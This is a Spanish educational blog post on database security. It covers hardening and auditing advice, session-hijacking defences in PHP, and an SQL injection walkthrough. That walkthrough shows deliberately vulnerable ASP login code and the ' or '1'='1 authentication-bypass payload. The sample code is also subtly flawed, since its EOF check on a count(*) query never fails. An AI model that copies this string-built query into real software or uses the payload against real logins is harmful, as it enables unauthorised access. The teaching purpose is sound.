tag:blogger.com,1999:blog-82689546086323628882024-02-08T04:51:38.895-08:00ATAQUE A LA BASE DE DATOSCESAR VERGARAhttp://www.blogger.com/profile/07181623382383946320noreply@blogger.comBlogger1125tag:blogger.com,1999:blog-8268954608632362888.post-62034503627460145392012-07-14T16:35:00.000-07:002012-07-14T16:56:31.472-07:00ATAQUE Y SEGURIDAD A LA BASE DE DATOS<br />
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: center;">
<b>ATAQUE A LA BASE DE DATOS</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: center;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>INTRODUCCION:</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
La gran mayoría de los datos sensibles del mundo están almacenados en sistemas gestores de bases de datos comerciales tales como Oracle, Microsoft SQL Server entre otros, y atacar una bases de datos es uno de los objetivos favoritos para los criminales.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Esto puede explicar por qué los ataques externos, tales como inyección de SQL, subieron 56.2% en 2012, “Esta tendencia es prueba adicional de que los agresores tienen éxito en hospedar páginas Web maliciosas, y de que las vulnerabilidades y explotación en relación a los navegadores Web están conformando un beneficio importante para ellos.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Para empeorar las cosas, según un estudio publicado en febrero de 2012 The Independent Oracle Users Group (IOUG), casi la mitad de todos los usuarios de Oracle tienen al menos dos parches sin aplicar en sus manejadores de bases de datos.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Mientras que la atención generalmente se ha centrado en asegurar los perímetros de las redes por medio de, firewalls, IDS / IPS y antivirus, cada vez más las organizaciones se están enfocando en la seguridad de las bases de datos con datos críticos, protegiéndolos de intrusiones y cambios no autorizados.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
En las siguientes secciones daremos las siete recomendaciones para proteger una base de datos en instalaciones tradicionales.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>OBJETIVOS:</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt;">
</div>
<ul>
<li style="text-align: justify;"><span style="background-color: white;">Desarrollar un conocimiento integral en los estudiantes sobre los posibles y multiples ataquesque pueden haber en las Bases de Datos.</span></li>
<li style="text-align: justify;"><span style="background-color: white;">Dar a conocer las formas de seguridad para proteger nuestra base de datos.</span></li>
<li style="text-align: justify;"><span style="background-color: white;">Dar a conocer los últimos avances para combatir los ataques a las Bases de Datos.</span></li>
<li style="text-align: justify;"><span style="background-color: white;">Indicar las debilidades de una Base de Datos para ser atacada.</span></li>
</ul>
<br />
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>MATERIALES Y RECURSOS:</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Paginas Web, manuales, tutoriales, foros, vídeos y libros.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>DESARROLLLO:</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b><br /></b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>PRINCIPIOS BASICOS DE SEGURIDAD A LA BASE DE DATOS EN CASO DE RECIBIR UN ATAQUE</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
En esta sección daremos siete recomendaciones sobre seguridad en bases de datos, instaladas en servidores propios de la organización.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>Identifique su sensibilidad</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
"No se puede asegurar lo que no se conoce".</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Confeccione un buen catálogo de tablas o datos sensibles de sus instancias de base de datos. Además, automatice el proceso de identificación, ya que estos datos y su correspondiente ubicación pueden estar en constante cambio debido a nuevas aplicaciones o cambios producto de fusiones y adquisiciones.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Desarrolle o adquiera herramientas de identificación, asegurando éstas contra el malware , colocado en su base de datos el resultado de los ataques de inyección SQL; pues aparte de exponer información confidencial debido a vulnerabilidades, como la inyección SQL, también facilita a los atacantes incorporar otros ataques en el interior de la base de datos.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>Evaluación de la vulnerabilidad y laconfiguracion:</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Evalúe su configuración de bases de datos, para asegurarse que no tiene huecos de seguridad.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Esto incluye la verificación de la forma en que se instaló la base de datos y su sistema operativo (por ejemplo, la comprobación privilegios de grupos de archivo -lectura, escritura y ejecución- de base de datos y bitácoras de transacciones).</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Asimismo con archivos con parámetros de configuración y programas ejecutables.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Además, es necesario verificar que no se está ejecutando la base de datos con versiones que incluyen vulnerabilidades conocidas; así como impedir consultas SQL desde las aplicaciones o capa de usuarios. Para ello se pueden considerar (como administrador):</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Limitar el acceso a los procedimientos a ciertos usuarios.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Delimitar el acceso a los datos para ciertos usuarios, procedimientos y/o datos.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Declinar la coincidencia de horarios entre usuarios que coincidan.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>Endurecimiento:</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Como resultado de una evaluación de la vulnerabilidad a menudo se dan una serie de recomendaciones específicas. Este es el primer paso en el endurecimiento de la base de datos. Otros elementos de endurecimiento implican la eliminación de todas las funciones y opciones que se no utilicen. Aplique una política estricta sobre que se puede y que no se puede hacer, pero asegúrese de desactivar lo que no necesita.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<span style="background-color: white;"><b>Audite:</b></span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Una vez que haya creado una configuración y controles de endurecimiento, realice auto evaluaciones y seguimiento a las recomendaciones de auditoría para asegurar que no se desvíe de su objetivo (la seguridad).</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Automatice el control de la configuración de tal forma que se registre cualquier cambio en la misma. Implemente alertas sobre cambios en la configuración. Cada vez que un cambio se realice, este podría afectar a la seguridad de la base de datos.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>Monitoreo:</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Monitoreo en tiempo real de la actividad de base de datos es clave para limitar su exposición, aplique o adquiera agentes inteligentes de monitoreo, detección de intrusiones y uso indebido.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Por ejemplo, alertas sobre patrones inusuales de acceso, que podrían indicar la presencia de un ataque de inyección SQL, cambios no autorizados a los datos, cambios en privilegios de las cuentas, y los cambios de configuración que se ejecutan a mediante de comandos de SQL.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Recuerde que el monitoreo usuarios privilegiados, es requisito para la gobernabilidad de datos y cumplimiento de regulaciones como SOX y regulaciones de privacidad. También, ayuda a detectar intrusiones, ya que muchos de los ataques más comunes se hacen con privilegios de usuario de alto nivel.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
El monitoreo dinámico es también un elemento esencial de la evaluación de vulnerabilidad, le permite ir más allá de evaluaciones estáticas o forenses. Un ejemplo clásico lo vemos cuando múltiples usuarios comparten credenciales con privilegios o un número excesivo de inicios de sesión de base de datos.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>Pistas de Auditoría:</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Aplique pistas de auditoría y genere trazabilidad de las actividades que afectan la integridad de los datos, o la visualización los datos sensibles.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Recuerde que es un requisito de auditoría, y también es importante para las investigaciones forenses.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
La mayoría de las organizaciones en la actualidad emplean alguna forma de manual de auditoría de transacciones o aplicaciones nativas de los sistemas gestores de bases de datos. Sin embargo, estas aplicaciones son a menudo desactivadas, debido a:</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
- su complejidad</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
- altos costos operativos</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
- problemas de rendimiento</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
- la falta de segregación de funciones y</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
- la necesidad mayor capacidad de almacenamiento.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Afortunadamente, se han desarrollado soluciones con un mínimo de impacto en el rendimiento y poco costo operativo, basado en tecnologías de agente inteligentes.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>Autenticación, control de acceso, y Gestión de derechos:</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
No todos los datos y no todos los usuarios son creados iguales. Usted debe autenticar a los usuarios, garantizar la rendición de cuentas por usuario, y administrar los privilegios para de limitar el acceso a los datos.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Implemente y revise periódicamente los informes sobre de derechos de usuarios, como parte de un proceso de formal de auditoría.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Utilice el cifrado para hacer ilegibles los datos confidenciales, complique el trabajo a los atacantes, esto incluye el cifrado de los datos en tránsito, de modo que un atacante no puede escuchar en la capa de red y tener acceso a los datos cuando se envía al cliente de base de datos.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>ATAQUE Y SEGURIDAD DE SECION</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Session Hijacking (secuestro o robo de sesión) se refiere a que un individuo (atacante) consigue el identificador de sesión entre una página web y un usuario, de forma que puede hacerse pasar por este y acceder a su cuenta en esa página web.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
El robo de la sesión puede conseguirse de varias formas, aunque en este artículo nos centraremos en las que tienen que ver con las vulnerabilidades de las sesiones y en algunas técnicas para mitigarlas.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Como pudimos ver en el artículo sobre el funcionamiento de las sesiones, la única forma que tiene la página web de reconocer a un usuario es por medio de su identificador de sesión. Si un atacante consigue el identificador de sesión de un usuario que ya está autenticado, puede hacerse pasar por él y entrar en su cuenta sólo con hacer que su navegador envíe el identificador a la página web, ya sea a través de la URL o de una cookie.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
A continuación veremos algunas de las formas en las que un atacante puede robar este identificador y técnicas para intentar prevenirlo.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Ataque por fuerza bruta</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
El ataque por fuerza bruta significa probar identificadores aleatoriamente hasta encontrar uno que esté siendo usado. Es como intentar abrir una caja fuerte sin saber la combinación, poniendo números al azar.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Como en el caso de la caja fuerte, cuantos más números tenga la combinación (en este caso el identificador de sesión), más difícil será de adivinar. También ayuda el hecho de que el número o identificador sea aleatorio, y no algo que se pueda predecir. El sistema de identificadores de sesión de PHP es aceptable en este sentido.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>Robo por sniffing</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Este tipo de ataque se da cuando el atacante tiene un programa de sniffing en la red del usuario y puede interceptar el tráfico destinado al mismo, incluido su identificador de sesión. Es algo que ha dado mucho de que hablar a causa de Firesheep, una extensión para Firefox que permite robar las sesiones de Facebook, Twitter y otras páginas web muy conocidas en redes inalámbricas públicas.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
La única forma de prevenir estos ataques es utilizando cifrado HTTPS en toda la página web.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Propagación en URL</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Si el identificador de sesión se propaga utilizando la URL en lugar de las cookies, cualquier atacante puede robarlo desde muchos sitios:</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
- Un enlace que el propio usuario ponga en un lugar público. Los usuarios típicos no saben para que sirve ese identificador y no le dan importancia.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
- El historial del navegador.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
- El referrer, que es un encabezado que envían muchos navegadores a las páginas web en el que les indican la URL de la que vienen.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
La forma de prevenir esto es no utilizar la URL para el identificador de sesión; utilizar únicamente las cookies. En PHP esto se consigue con la instrucción:</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
ini_set('session.use_only_cookies', 1);</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>Robo en servidor compartido:</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Si tenemos nuestra página web alojada en un servidor compartido, los archivos físicos de las sesiones se guardan, por defecto, en un directorio común para todas las páginas web del servidor. Esto quiere decir que todas las personas que tengan su página web en ese mismo servidor, tienen acceso a todos los archivos de sesiones. Dado que el nombre de los archivos es "sess_" más el identificador de sesión, cualquier atacante tendrá una lista de identificadores de sesión válidos con sólo leer la lista de archivos del directorio común.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>Esta vulnerabilidad se puede combatir de dos formas:</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
- Usando la función session_save_path para guardar los archivos de sesión de la página web en un directorio dentro de su cuenta al que sólo pueda acceder PHP (ya sea por estar fuera del directorio web o con un .htaccess con la instrucción deny from all). Este método no es demasiado fiable, ya que el resto de usuarios seguirá pudiendo leer en ese directorio, sólo tienen que averiguar su localización.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
- Guardando las sesiones en base de datos en lugar de en archivos. Esto se consigue fácilmente usando la función session_set_save_handler. Esta solución es la más segura ya que la página web será la única que tendrá acceso a la base de datos y, por tanto, a las sesiones.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>Robo por Cross-Site Scripting</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Si la página web es vulnerable a XSS el atacante puede insertar un código javascript que envíe las cookies de un usuario a su cuenta.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Este tipo de ataque se puede prevenir (además de evitando los ataques XSS) haciendo que las cookies de sesión tengan el atributo HttpOnly, que evita que puedan ser manejadas por javascript en la mayoría de navegadores. En PHP esto se consigue con la instrucción:</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
ini_set('session.cookie_httponly', 1);</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>Métodos de prevención generales:</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Además de los métodos de prevención concretos vistos para cada tipo de ataque, vamos a ver algunas técnicas de prevención que ayudan a evitar el robo de las sesiones:</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
- Limitar tiempo de inactividad: eliminar la sesión si está cierto tiempo sin ser usada (de 5 a 30 minutos, según el nivel de seguridad de la página web).</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<span style="background-color: white;">- Cambiar el identificador de sesión: cada cierto tiempo o después de cada acción, cambiar el identificador de la sesión por otro distinto y eliminar la sesión antigua.</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<span style="background-color: white;">- Sistema de logout: dar a los usuarios una forma de salir de su cuenta y destruir la sesión.</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<span style="background-color: white;">- Verificación doble: usar un segundo método para intentar reconocer al usuario de la sesión. Esto puede hacerse guardando cabeceras como HTTP_USER_AGENT (navegador del usuario) o REMOTE_ADDR (IP del usuario) cuando se crea la sesión, de esta forma:</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
$_SESSION['fingerprint'] = md5($_SERVER['HTTP_USER_AGENT']);</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
La IP del usuario es más significativa que su navegador, pero es más problemática ya que hay usuarios a los que les cambia la IP habitualmente (IP dinámica, proxies, ...).</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Con este sistema, un atacante tendría que robar la sesión a un usuario y, además, enviar la misma cabecera de navegador para poder usarla.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Hasta aquí el artículo sobre el robo de sesiones. En próximos artículos veremos más tipos de ataque contra las sesiones y formas de prevenirlos.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b>ATAQUE POR INYECCION DE CODIGO</b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
La inyección SQL consiste en la modificación del comportamiento de nuestras consultas mediante la introducción de parámetros no deseados en los campos a los que tiene acceso el usuario.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Este tipo de errores puede permitir a usuarios malintencionados acceder a datos <span style="background-color: white;">a los que de otro modo no tendrían acceso y, en el peor de los casos, </span><span style="background-color: white;">modificar el comportamiento de nuestras aplicaciones.</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Vamos a ver con un ejemplo que significa eso <span style="background-color: white;">de “Inyección de código”:</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt;">
</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Supongamos que tenemos una aplicación Web (realizada en ASP por sencillez) <span style="background-color: white;">en la que el acceso a ciertas secciones está restringido. Para restringir </span><span style="background-color: white;">ese acceso creamos una tabla de usuarios y contraseñas y sólo </span><span style="background-color: white;">los usuarios que se validen contra esa tabla podrán acceder a esos contenidos.</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Una manera de que los usuarios se validen será colocar un par de cuadros <span style="background-color: white;">de texto en nuestra página Web (por ejemplo txtUsuario y txtPassword) </span><span style="background-color: white;">donde puedan introducir su nombre y su contraseña y enviar ese par usuario/contraseña </span><span style="background-color: white;">a la base de datos para comprobar si es válido.</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Primero creamos la tabla que vamos a usar <span style="background-color: white;">y la rellenamos con datos:</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<b><span style="font-size: large;">use web</span></b></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
-Nuestra base de datos se llama web</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
go</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
- Creamos una tabla para almacenar los pares usuario/contraseña</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
create table usuarios (Usuario varchar (50) not null primary key,</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Password varchar (50))</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
go</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
- Introducimos un par de datos de prueba</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
insert into usuarios (Usuario, Password) values ('Admin', '1234')</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
insert into usuarios (Usuario, Password) values ('Usuario', 'abcd')</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<span style="background-color: white;"><br /></span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<span style="background-color: white;">Ahora veamos el código de las páginas </span><span style="background-color: white;">que forman parte del proceso de login.</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
index.htm</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<form action="login.asp" method="post"></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Nombre: <input type="text" name="txtUsuario"><br></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Password: <input type="password" name="txtPassword"><br></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<input type="submit"></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
</form></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Esta primera página es sencilla. Simplemente</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
los dos cuadros de texto mencionados que enviarán los datos a la página de login.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Login.asp</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<%</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Dim Usuario, Password, RS, SSQL</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Usuario = Request.Form("txtUsuario")</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Password = Request.Form("txtPassword")</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
SSQL = "SELECT count(*) FROM Usuarios WHERE Usuario = '" & <span style="background-color: white;">Usuario &</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
"' AND password='" & Password & "'"</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Set RS = Server.CreateObject("ADODB.Recordset")</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
RS.Open SSQL, "Cadena de conexion"</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
If (RS.EOF) Then</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Response.Write "Acceso denegado."</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Else</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Response.Write "Te has identificado como " & RS("Usuario")</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
End If</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Set RS = Nothing</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
%></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Y en esta segunda página creamos dinámicamente</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
una sentencia SQL que enviamos a la base de datos para la validación.</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Si el usuario escribe Admin y 1234 la sentencia creada será:</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
“SELECT Count(*) FROM Usuarios WHERE Usuario=’Admin’ AND </div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Password=’1234’”</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Y como esta sentencia nos devuelve un registro, <span style="background-color: white;">dejaremos que el usuario entre en la Web. Si el usuario escribe por ejemplo </span><span style="background-color: white;">‘Admin’ y de contraseña cualquier otra cosa, la sentencia no nos devolverá registros </span><span style="background-color: white;">y no permitiremos entrar a esa persona. </span><span style="background-color: white;">Pero ¿qué ocurre si el usuario </span><span style="background-color: white;">escribe ‘ or ’1′=’1 como usuario y lo mismo de contraseña? </span><span style="background-color: white;">En este caso la variable Consulta contendrá </span><span style="background-color: white;">la cadena:</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
"SELECT Count(*) FROM Usuarios WHERE Usuario = '' or '1'='1' AND</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
password = '' or '1'='1'"</div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
Y obviamente esta sentencia nos devuelve registros <span style="background-color: white;">con lo que el usuario entrará en nuestra Web sin tener permiso.</span></div>
<div class="MsoNormalCxSpFirst" style="margin-left: 4.75pt; text-align: justify;">
